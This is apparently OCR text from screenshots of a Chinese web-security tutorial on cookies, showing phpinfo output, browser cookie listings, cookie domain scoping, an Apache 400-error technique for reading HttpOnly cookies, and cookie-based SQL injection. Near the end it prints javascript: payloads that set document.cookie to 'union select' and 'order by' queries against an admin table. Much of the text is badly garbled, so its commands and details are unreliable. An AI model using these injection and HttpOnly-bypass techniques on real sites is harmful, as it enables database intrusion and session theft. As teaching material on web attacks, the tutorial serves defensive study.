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System

Linux h00lnew.zzbaike.com 2.6.32-6732.26.1.lvel.4.29.2l6.x836_64 #1 SMP Tue Jun 20 12:27:00 EDT 2017
xB6_64

Build Date

Apr 5 2018 19:27:26

Configure Command

"Jfconfigure” "--build=x86_64-redhat-linux-gnu’ '--host=x85_64-redhat-linux-gnu" "--target=x86_64-
redhat-linux-gnu’ '--program-prefix=""--prefix=fopt/cpanel/ea-php56/root/usr' "--exec-prefix=/opt
Jcpanelfea-php56/rootfusr' '--bindir=/opt/cpanel/ea-php36/root/usr/bin' "--sbindir=/opt/cpanel/ea-
php56/root/usrfsbin’ '--sysconfdir=/opt/cpanelfea-php56/root/etc’ "--datadir=/opt/cpanel/ea-
php356/rootfusr/share’ "--includedir=/opt/cpanel/ea-php56/rootfusr/include’ *--libdir=/optfcpanelfea-
php3&/roctfusr/lib64’ --libexecdir=/opt/cpanel/ea-php56/root/usr/libexec’ '--localstatedir=/fopt/cpanel
Jfea-php56/rootfusrfvar' "--sharedstatedir=/opt/cpanel/ea-php36/root/usrfcom’ --mandir=/opt/cpanel
Jea-php56/rootfusr/sharefman’ "--infodir=/opt/cpanelfea-php56/root/usr/share/infa’ '--cache-
file=../config.cache® "--with-libdir=1ib64' "--with-config-file-path=/opt/cpanelfea-php56/root/etc’ "--with-
config-file-scan-dir=/opt/cpanel/ea-php56/root/etc/php.d' '--disable-debug’ '--with-pic’ '--enable-
rpath=/fopt/cpanel/ea-php56/root/usr/libb4’ "--without-pear’ '--with-bz2" '--with-freetype-dir=/fusr’ "--
with-prng-dir=/usr’ '--with-xpm-dir=/fusr’ '--with-vpx-dir=/usr’ '--enable-gd-native-ttf' "--without-gdbm”
"--with-gettext’ '--with-iconv' --with-jpeg-dir=/fusr’ '--with-ocpenssl=/opt/cpanelfea-openssl' --with-
openssl-dir=/opt/cpanel/ea-openssl’ '--with-zlib' "--with-layout=GMNU" "--enable-exif' '--enable-fip" '--
enable-sockets' '--with-kerberos' '--enable-shmop' '--with-libxml-dir=/opt/cpanelfea-libxml2" '--enable-
xml' '--with-system-tzdata' '--with-mhash' --enable-fpm' *--libdir=/opt/cpanel/ea-php56/root
Susrflibs4/php” '--without-mysqgl’ "--disable-pdo’ "--without-gd’ '--disable-dom' *--disable-dba’ *--without-
unixODBC' '--disable-opcache’ '--disable-xmlreader’ '--disable-xmlwriter’ "--without-sqlite3' "--disable-
phar' "--disable-fileinfo® "--disakle-json’ '--without-pspell' "--disable-wddx' "--without-curl’ '--disable-
posix' --disable-xml" '--disable-simplexml’ '--disable-exif' "--without-gettext' '--without-iconv’ "--disable-
ftp' '--without-bz2' "--disable-ctype' '--disable-shmop" '--disable-sockets' '--disable-tokenizer' '--disable-
sysvmsg' "--disable-sysvshm' "--disable-sysvsem’ --without-gmp’ "--disable-calendar’ "build_alias=x86_64-
redhat-linux-gnu’ "host_alias=x86_64-redhat-linux-gnu’ "target_alias=x86_64-redhat-linux-gnu’ "CFLAGS=-
02 '-g' -pipe’ -Wall" '-Wp,-D_FORTIFY_SOURCE=2" '-fexceptions' "-fstack-protector’ '--param=ssp-buffer-
size=4""-mb4' '-mtune=genenc' "-fno-strict-aliasing’ '-Wno-pointer-sign™ 'CXXFLAGS=-02 '-g' "-pipe’
-Wall' *-Wp,-D_FORTIFY_SOURCE=2"' "-fexceptions’ '-fstack-protector' "--param=ssp-buffer-size=4' '-m&4"
‘-mtune=generic”

Server API

FPM/FastCGI

Virtual Directory Support

disabled

Configuration File (php.ini) Path

Jopt/cpanelfea-php56/rootfetc

Loaded Configuration File

Jopt/cpanelfea-php56/root/ete/php.ini

Scan this dir for additional .ini files

foptfcpanelfea-php56/root/etc/php.d

Additional .ini files parsed

foptfcpanelfea-php56/rootfetc/php.d/01-ioncube.ini, fopt/cpanelfea-php56/rootfetc/php.dfbcmath.ini,
Joptfcpanelfea-php58/rootfetc/php.dfcalendar.ini, fopt/cpanelfea-php56/root/etc/php.dfctype.ini,
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Cookie /B

posbaiducom [

BAIDU SSP ler | .baidu.com
BAIDUID Jbaidu.com
BDORZ Jbaidu.com
BDRCVFR[gltL... .baidu.com
BDUSS Jbaidu.com
BIDUPSID Jbaidu.com
CPROID
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Fri, 02 Mar 2018 09:18....

&5

Tue, 19 Feb 2086 10:1...
Thu, 12 Apr 2018 134...

&

Fri, 26 Jun 2026 12:54....
Tue, 19 Feb 2086 10:1..,
Sun, 05 Mar 2090 00:2...

CookieI&
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https sz

Fri, 02 Mar 2018 09:18.... 7

Wed, 11 Apr 2018 08:3...
Thu, 12 Apr 2018 02:3...
Thu, 12 Apr 2018 02:3...
Thu, 12 Apr 2018 02:3...
Thu, 12 Apr 2018 02:3...
Thu, 12 Apr 2018 02:3...
Wed, 11 Apr 2018 13:4...

https://ken.io... false
15698D8C4F2... false
FFFBBEE9990...
mk3SLVNAHKm false
GlsMTVoMD... | true
15698D8C4FL... false
15608D8C4FL... false

false
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CreationTime: "Fn, 02 Mar...18:00 GMT"
Domain: " pos.baidu.com’

Expires: "Fri, 02 Mar 2018 09:18:10 GMT"
HostOnly: false

HttpOnly: false

LastAccessed: "Fni, 02 Mar...:18:00 GMT"
Path: */"

sameSite; "Unset"
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i B Cookie domain

document.cookie = “user=abc’’; bit.edu.cn

document.cookie = “user=abc”’; edu.cn
domain=edu.cn;

5 EEEHITedu.cn, NoOTLAIERIwWww.bit.edu.cn,www1.bit.edu.cn,
www.beihang.edu.cnBi]Cookie
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CookietGEilf———izgsHoEI +RMBPhpinfoil a_,l||'l;
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2 EHttpOnly B H BE R T, & & i A
( document.cookie ) & X ikikB lJCooklein,w
BCookielh&&ZixFRFE £k, WRIRFZiGINNRER
cookiel itz &, 1ET§E%—E:§SICookle;lﬂﬁé

- APimEAPhpinfo()HEEiRRSEER

HITF_ HODST www, oo, com

WITF CONNECTION Teep-alive

HITF _USER_AGENT MozillafS. 0 (Nindows NT 6.1) AppleWebKit,
HTTF_ACCEFT text/htnl, application/zhtnl+txml, applicat

HITF_ACCEFT_ENCODING | zzip, deflate, sdch
HITF_ACCEFT_LANGUAGE | zh-CH, zh; ¢=0.5
HITP_ACCEFT_CHARSET |GBE, utf-5;¢=0.T,%;q=0 3
HITF_CODKIE test=1; test_htip=] 44—
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400i5IRE=R8EHttpOnly Cookie

i B Cookieim Kk KElBidapachelR#KE4k, sI&
400%5i1%, HIRODEERPEHD BERIEREIAST

¥ Request Headers view parsed
GET /book/httponly.php HTTP/1.1
Host: www.foo.com
Cennection: keep-alive
Cache-Control: max-age=@ o C | D www.foo.com/book/apachexss.html
User-Agent: Mozilla/5.@ (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gec
19
Accept: */*
Referer: http://www.foo.com/book/apachexss.html i g
Accept-Encoding: gzip,deflate,sdch ‘ www foo.com s LmmEEA
Accept-Language: zh-CN,zh;q=0.8 |

- - -B+n= 7 &.@ 3

Cookie: test=1; test_http=1; X550=)00000000XXINNNNIICOKNNNNNH XK IICHXX KK KX
202CCACHACAICEAICICICICICAICICIICICICHICCIICCIHICCIICAICICIIICHICIAACIICC I AICICICICIOCAIHANCANCA N T
CHCHCHNHHHIHIHICHHIH I IHHH KR IIHCIKIHIIO I HIOCE KKK KKK K
OOOCOENOOIOCCHIHOHCHCNCHOCHOCOCOCNNKE KON ICNKIOCKIENHKN
HXXHHRHIHNCHKIE NN HRIEHCHKIHHN RN RHNHCENCHHKHEKHHNCHEHE KX X KK KN EKHEKHKHKKH KN
20O IICIICICIICIC NI I ICICIOCINCICICCIHICCIOCAIOCIICICICI I IICCIICIIICIIC AN
JOKCHHHHIHHHIK KK KKK HOCH KKK KKK KKK HHHH K IHHHHHH KK KKK KKK KKK KK
SOXOCE RN ICHCHNCCNRIHCINCHCEINCHKIHHOCE IO AKHCH K XHKX
NN HKHICHICH NN NRICHCHE RN HHENK KNI HHHNCIH KK KH KX
200OCOCCOCIOCCOCIHICICICICCCICNICCICICICIICIOOCCCIOCIICICICOCHNICIOCICIOOCICACC0CN
HHCCCNHCHRIIOCNHHHH IR RHOCRIHHR KKK HHHN K KKK KKK
OHXCKRNKHKICHCHNHHHOOERCHCHRHCIHHNKICHHCHCHNKIERHHNKHHEHXHXHHNCHE XXX KX
P eSS0 0800080000608 0800880000808000880080880080060806808 0808008080686 086884460]
AN ICHICH I IO ICCCIICOCHICCIOCOCAICCOOCICHHCAHAR AKX
KOO IOCHKICCHOCKIHHHCOCCHCHHKCHHHCRKIIHIKH KOO KHXKHKK
HOCOOONOOOOOOVOOOOOCENN 3 XSS 2= 300C0OOOOCCENENCCCHNENCNCCNHC KX
PROSSE OO0 00000t 0o bttt tttststttttsttottttsstosissttttsdssssssodssssss)
00O

apache 400 httponly cockie poc

["teet™:"1", Yrest_kttp"™:
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— javascript:alert(document.cookie="id="+escape("284 union
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from
admain"))

— javascript:alert(document.cookie="id="+escape("284 union

O e—13,14,15,16,17,18,19,20 from

select 1,2,3,

admin"));

AsqliEOREZRY. =8, FNSH

— javascript:alert(document.cookie="id="+escape("284 order by

*

admin

555555555555555
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